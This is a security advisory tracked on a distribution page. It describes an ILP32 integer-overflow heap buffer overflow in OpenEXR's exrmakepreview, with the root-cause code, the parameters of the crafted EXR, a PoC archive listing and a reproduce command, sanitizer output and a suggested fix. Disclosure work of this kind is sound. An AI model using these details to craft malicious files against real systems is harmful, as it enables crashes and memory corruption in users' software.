Skip to content

GHSA-h56j-j82x-w3fp on CTRL-OS 26.05

Aliases: GHSA-h56j-j82x-w3fp

Packages: openexr

Status: Plausible

Advisory Information

OpenEXR v3.4.13 exrmakepreview ILP32 Array2D dataWindow heap buffer overflow

Summary

A crafted scanline EXR can trigger heap memory corruption in the shipped exrmakepreview tool on 32-bit/ILP32 OpenEXR builds.

exrmakepreview reads the public dataWindow, computes w/h, allocates Array2D<Rgba> pixels(h, w), and then decodes all scanlines into that buffer. For a 65537 x 65537 image, the element-count multiplication wraps on ILP32 and allocates about 1 MiB instead of the conceptual ~34 GiB RGBA buffer. The subsequent RgbaInputFile::readPixels() writes decoded pixels past the undersized heap allocation.

This is file-triggered through a shipped CLI (exrmakepreview) with a crafted EXR file. The demonstrated impact is heap out-of-bounds write / crash on ILP32.

Reproduction status

v3.4.13 ILP32 original exrmakepreview: rc=139 / SIGSEGV
v3.4.13 ILP32 ASAN exrmakepreview: rc=134, heap-buffer-overflow WRITE of size 8
v3.4.13 ILP32 UBSAN exrmakepreview: rc=134, signed integer overflow at ImfArray.h:186
local origin/main d9de1caa ILP32 original exrmakepreview: rc=139 / SIGSEGV
local origin/main d9de1caa ILP32 ASAN exrmakepreview: rc=134, heap-buffer-overflow WRITE of size 8
local origin/main d9de1caa ILP32 UBSAN exrmakepreview: rc=139 / SIGSEGV

The PoC file is accepted by normal v3.4.13 inspection tools:

exrheader: rc=0
exrinfo: rc=0

Root cause

Relevant v3.4.13 flow:

src/bin/exrmakepreview/makePreview.cpp:73-80
  Box2i dw = in.dataWindow();
  int w = dw.max.x - dw.min.x + 1;
  int h = dw.max.y - dw.min.y + 1;
  Array2D<Rgba> pixels(h, w);
  in.setFrameBuffer(..., 1, w);
  in.readPixels(dw.min.y, dw.max.y);

src/lib/OpenEXR/ImfArray.h:185-186
  Array2D<T>::Array2D(long sizeX, long sizeY)
      : _data(new T[sizeX * sizeY])

On ILP32, long/size_t are 32-bit. 65537 * 65537 = 4,295,098,369 wraps to 131073; for 8-byte Rgba, ASAN shows an allocation of 1,048,584 bytes. Decode then writes the full scanline data through the frame buffer and reaches the end of that undersized allocation.

The current local origin/main snapshot adds a negative-dimension check in Array2D, but still allocates with (size_t) sizeX * (size_t) sizeY; on ILP32 this multiplication still wraps, so the same crafted file still reproduces.

PoC

The crafted EXR is a public scanline image:

compression: none
dataWindow/displayWindow: (0,0) - (65536,65536)  # 65537 x 65537
channels: A/B/G/R HALF, sampling 1x1
first 64 scanline chunks contain full-size 65537*8-byte row payloads

The full-size early scanline chunks are intentional. This separates the finding from short-chunk source-read/disclosure reports: the ASAN signal here is a destination heap-buffer-overflow write, and the allocation stack points to Array2D<Rgba> in exrmakepreview.

poc.zip contains only required reproduction material:

poc.zip

reproduce.sh
poc_materials/array2d_w65537_h65537_fullprefix_none.exr
poc_materials/src/build_ilp32_exrmakepreview_direct.sh
poc_materials/src/build_main_origin_ilp32_exrmakepreview_direct.sh
poc_materials/logs/final/reproduce_run.log
poc_materials/logs/final/exrheader_v3413.out
poc_materials/logs/final/exrinfo_v3413.out
poc_materials/logs/final/v3413_asan.err
poc_materials/logs/final/v3413_ubsan.err
poc_materials/logs/final/main_origin_asan.err

Reproduction

From the extracted poc.zip directory:

OPENEXR_ROOT=/home/br0nzu/openexr/v3.4.13 ./reproduce.sh

Expected result: exrheader/exrinfo exit 0; v3.4.13 and local origin/main ILP32 exrmakepreview builds fail as shown above; the script exits with PASS after observing the expected non-zero crash/sanitizer statuses.

Impact

An attacker-controlled EXR file can crash ILP32 builds of the shipped exrmakepreview tool and trigger a sanitizer-confirmed heap out-of-bounds write while decoding pixels. The practical impact is memory corruption / denial of service in that tool path on 32-bit builds.

Suggested fix

Add overflow-safe dimension and allocation-size validation before allocating Array2D storage and before exrmakepreview accepts public dataWindow dimensions. In particular, reject dimensions where sizeX * sizeY * sizeof(T) cannot be represented in size_t or would exceed an implementation-defined safe maximum.

Complete validation output

The following is the full reproduce.sh output from the final validation run, including the full sanitizer output emitted by the ASAN/UBSAN runs.

===== exrheader_v3413 =====
rc=0

file /home/br0nzu/openexr/v3.4.13/report/61. OpenEXR v3.4.13 exrmakepreview ILP32 Array2D dataWindow heap buffer overflow/poc_materials/array2d_w65537_h65537_fullprefix_none.exr:

file format version: 2, flags 0x0
channels (type chlist):
    A, 16-bit floating-point, sampling 1 1
    B, 16-bit floating-point, sampling 1 1
    G, 16-bit floating-point, sampling 1 1
    R, 16-bit floating-point, sampling 1 1
compression (type compression): none: no compression.
dataWindow (type box2i): (0 0) - (65536 65536)
displayWindow (type box2i): (0 0) - (65536 65536)
lineOrder (type lineOrder): increasing y
pixelAspectRatio (type float): 1
screenWindowCenter (type v2f): (0 0)
screenWindowWidth (type float): 1
type (type string): "scanlineimage"

===== exrinfo_v3413 =====
rc=0
File '/home/br0nzu/openexr/v3.4.13/report/61. OpenEXR v3.4.13 exrmakepreview ILP32 Array2D dataWindow heap buffer overflow/poc_materials/array2d_w65537_h65537_fullprefix_none.exr':
  compression: 'none'
  displayWindow: [ 0, 0 - 65536 65536 ] 65537 x 65537
  dataWindow: [ 0, 0 - 65536 65536 ] 65537 x 65537
  channels: 4 channels
   'A': half samp 1 1
   'B': half samp 1 1
   'G': half samp 1 1
   'R': half samp 1 1
===== v3413_original =====
rc=139
===== v3413_asan =====
rc=134
=================================================================
==659691==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf3ffe808 at pc 0x568f3770 bp 0xffcd3558 sp 0xffcd3550
WRITE of size 8 at 0xf3ffe808 thread T0
    #0 0x568f376f in unpack_16bit_4chan_interleave_rev /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/unpack.c:664:24
    #1 0x568df120 in exr_decoding_run /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/decoding.c:664:18
    #2 0x567800bf in Imf_3_4::(anonymous namespace)::ScanLineProcess::run_decode(_priv_exr_context_t const*, int, Imf_3_4::FrameBuffer const*, int, int, std::vector<Imf_3_4::Slice, std::allocator<Imf_3_4::Slice>> const&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586:23
    #3 0x5677d268 in Imf_3_4::ScanLineInputFile::Data::readPixels(Imf_3_4::FrameBuffer const&, int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500:21
    #4 0x5677cb79 in Imf_3_4::ScanLineInputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:307:12
    #5 0x56709867 in Imf_3_4::InputFile::Data::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:458:20
    #6 0x56709796 in Imf_3_4::InputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:222:12
    #7 0x5684b5a3 in Imf_3_4::InputPart::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputPart.cpp:78:11
    #8 0x5676f2af in Imf_3_4::RgbaInputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfRgbaFile.cpp:1352:21
    #9 0x566f3d88 in (anonymous namespace)::generatePreview(char const*, float, int, int&, Imf_3_4::Array2D<Imf_3_4::PreviewRgba>&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmakepreview/makePreview.cpp:80:8
    #10 0x566f3d88 in makePreview(char const*, char const*, int, float, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmakepreview/makePreview.cpp:126:5
    #11 0x566f307a in main /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmakepreview/main.cpp:175:9
    #12 0xf78b1cb8  (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)
    #13 0xf78b1d7b in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x24d7b) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)
    #14 0x566166e6 in _start (/home/br0nzu/openexr/v3.4.13/artifacts/solo_audit_ilp32_array2d_huge_rgba_20260625_224816/bin/exrmakepreview_ilp32_asan+0xb06e6) (BuildId: baa3f315e1ad90988093c982eb32b7c98f244b79)

0xf3ffe808 is located 0 bytes after 1048584-byte region [0xf3efe800,0xf3ffe808)
allocated by thread T0 here:
    #0 0x566f05cb in operator new[](unsigned int) (/home/br0nzu/openexr/v3.4.13/artifacts/solo_audit_ilp32_array2d_huge_rgba_20260625_224816/bin/exrmakepreview_ilp32_asan+0x18a5cb) (BuildId: baa3f315e1ad90988093c982eb32b7c98f244b79)
    #1 0x566f3d4d in Imf_3_4::Array2D<Imf_3_4::Rgba>::Array2D(long, long) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfArray.h:186:46
    #2 0x566f3d4d in (anonymous namespace)::generatePreview(char const*, float, int, int&, Imf_3_4::Array2D<Imf_3_4::PreviewRgba>&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmakepreview/makePreview.cpp:78:19
    #3 0x566f3d4d in makePreview(char const*, char const*, int, float, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmakepreview/makePreview.cpp:126:5
    #4 0x566f307a in main /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmakepreview/main.cpp:175:9
    #5 0xf78b1cb8  (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/unpack.c:664:24 in unpack_16bit_4chan_interleave_rev
Shadow bytes around the buggy address:
  0xf3ffe580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0xf3ffe600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0xf3ffe680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0xf3ffe700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0xf3ffe780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0xf3ffe800: 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf3ffe880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf3ffe900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf3ffe980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf3ffea00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf3ffea80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==659691==ABORTING
===== v3413_ubsan =====
rc=134
/home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfArray.h:186:58: runtime error: signed integer overflow: 65537 * 65537 cannot be represented in type 'long'
    #0 0x566a3d4e in Imf_3_4::Array2D<Imf_3_4::Rgba>::Array2D(long, long) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfArray.h:186:58
    #1 0x566a3d4e in (anonymous namespace)::generatePreview(char const*, float, int, int&, Imf_3_4::Array2D<Imf_3_4::PreviewRgba>&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmakepreview/makePreview.cpp:78:19
    #2 0x566a3d4e in makePreview(char const*, char const*, int, float, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmakepreview/makePreview.cpp:126:5
    #3 0x566a25e7 in main /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmakepreview/main.cpp:175:9
    #4 0xf7901cb8  (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)
    #5 0xf7901d7b in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x24d7b) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)
    #6 0x566723c6 in _start (/home/br0nzu/openexr/v3.4.13/artifacts/solo_audit_ilp32_array2d_huge_rgba_20260625_224816/bin/exrmakepreview_ilp32_ubsan+0xe33c6) (BuildId: c5ab10ddef999e0a1f475726173c0c81851c617f)

SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfArray.h:186:58 
===== main_origin_original =====
rc=139
===== main_origin_asan =====
rc=134
=================================================================
==659705==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf39fe808 at pc 0xf7bd0966 bp 0xff9ad578 sp 0xff9ad570
WRITE of size 8 at 0xf39fe808 thread T0
    #0 0xf7bd0965 in unpack_16bit_4chan_interleave_rev /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXRCore/unpack.c:664:24
    #1 0xf7bbc310 in exr_decoding_run /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXRCore/decoding.c:668:18
    #2 0xf7eb535f in Imf_4_0::(anonymous namespace)::ScanLineProcess::run_decode(_priv_exr_context_t const*, int, Imf_4_0::FrameBuffer const*, int, int, std::vector<Imf_4_0::Slice, std::allocator<Imf_4_0::Slice>> const&) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXR/ImfScanLineInputFile.cpp:587:23
    #3 0xf7eb2638 in Imf_4_0::ScanLineInputFile::Data::readPixels(Imf_4_0::FrameBuffer const&, int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXR/ImfScanLineInputFile.cpp:501:21
    #4 0xf7eb1f39 in Imf_4_0::ScanLineInputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXR/ImfScanLineInputFile.cpp:307:12
    #5 0xf7e1e937 in Imf_4_0::InputFile::Data::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXR/ImfInputFile.cpp:458:20
    #6 0xf7e1e866 in Imf_4_0::InputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXR/ImfInputFile.cpp:222:12
    #7 0xf7e27d23 in Imf_4_0::InputPart::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXR/ImfInputPart.cpp:78:11
    #8 0xf7ea539d in Imf_4_0::RgbaInputFile::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXR/ImfRgbaFile.cpp:1354:21
    #9 0x5665fcf6 in (anonymous namespace)::generatePreview(char const*, float, int, int&, Imf_4_0::Array2D<Imf_4_0::PreviewRgba>&) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/bin/exrmakepreview/makePreview.cpp:82:8
    #10 0x5665fcf6 in makePreview(char const*, char const*, int, float, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/bin/exrmakepreview/makePreview.cpp:128:5
    #11 0x5665efda in main /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/bin/exrmakepreview/main.cpp:175:9
    #12 0xf728bcb8  (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)
    #13 0xf728bd7b in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x24d7b) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)
    #14 0x56582646 in _start (/home/br0nzu/openexr/v3.4.13/artifacts/solo_audit_ilp32_array2d_huge_rgba_20260625_224816/bin/exrmakepreview_main_origin_ilp32_asan+0x1b646) (BuildId: 81ecd7496d4d174e682fdcd6ece6c9841711cdf3)

0xf39fe808 is located 0 bytes after 1048584-byte region [0xf38fe800,0xf39fe808)
allocated by thread T0 here:
    #0 0x5665c52b in operator new[](unsigned int) (/home/br0nzu/openexr/v3.4.13/artifacts/solo_audit_ilp32_array2d_huge_rgba_20260625_224816/bin/exrmakepreview_main_origin_ilp32_asan+0xf552b) (BuildId: 81ecd7496d4d174e682fdcd6ece6c9841711cdf3)
    #1 0x5665fcbb in Imf_4_0::Array2D<Imf_4_0::Rgba>::Array2D(long, long) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXR/ImfArray.h:205:14
    #2 0x5665fcbb in (anonymous namespace)::generatePreview(char const*, float, int, int&, Imf_4_0::Array2D<Imf_4_0::PreviewRgba>&) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/bin/exrmakepreview/makePreview.cpp:80:19
    #3 0x5665fcbb in makePreview(char const*, char const*, int, float, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/bin/exrmakepreview/makePreview.cpp:128:5
    #4 0x5665efda in main /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/bin/exrmakepreview/main.cpp:175:9
    #5 0xf728bcb8  (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/br0nzu/openexr/v3.4.13/sources/openexr-main-origin/src/lib/OpenEXRCore/unpack.c:664:24 in unpack_16bit_4chan_interleave_rev
Shadow bytes around the buggy address:
  0xf39fe580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0xf39fe600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0xf39fe680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0xf39fe700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0xf39fe780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0xf39fe800: 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf39fe880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf39fe900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf39fe980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf39fea00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf39fea80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==659705==ABORTING
===== main_origin_ubsan =====
rc=139
a602a4aad612f35201b60d02faa8ac1e7e899a55542127ff19a9f14fe620302a  /home/br0nzu/openexr/v3.4.13/report/61. OpenEXR v3.4.13 exrmakepreview ILP32 Array2D dataWindow heap buffer overflow/poc_materials/array2d_w65537_h65537_fullprefix_none.exr
PASS

Updates

2026-08-11 03:49 CEST

Metadata changes:

  • Status for package openexr: “Plausible

2026-08-11 03:32 CEST

Metadata changes:

  • Status for package openexr: “New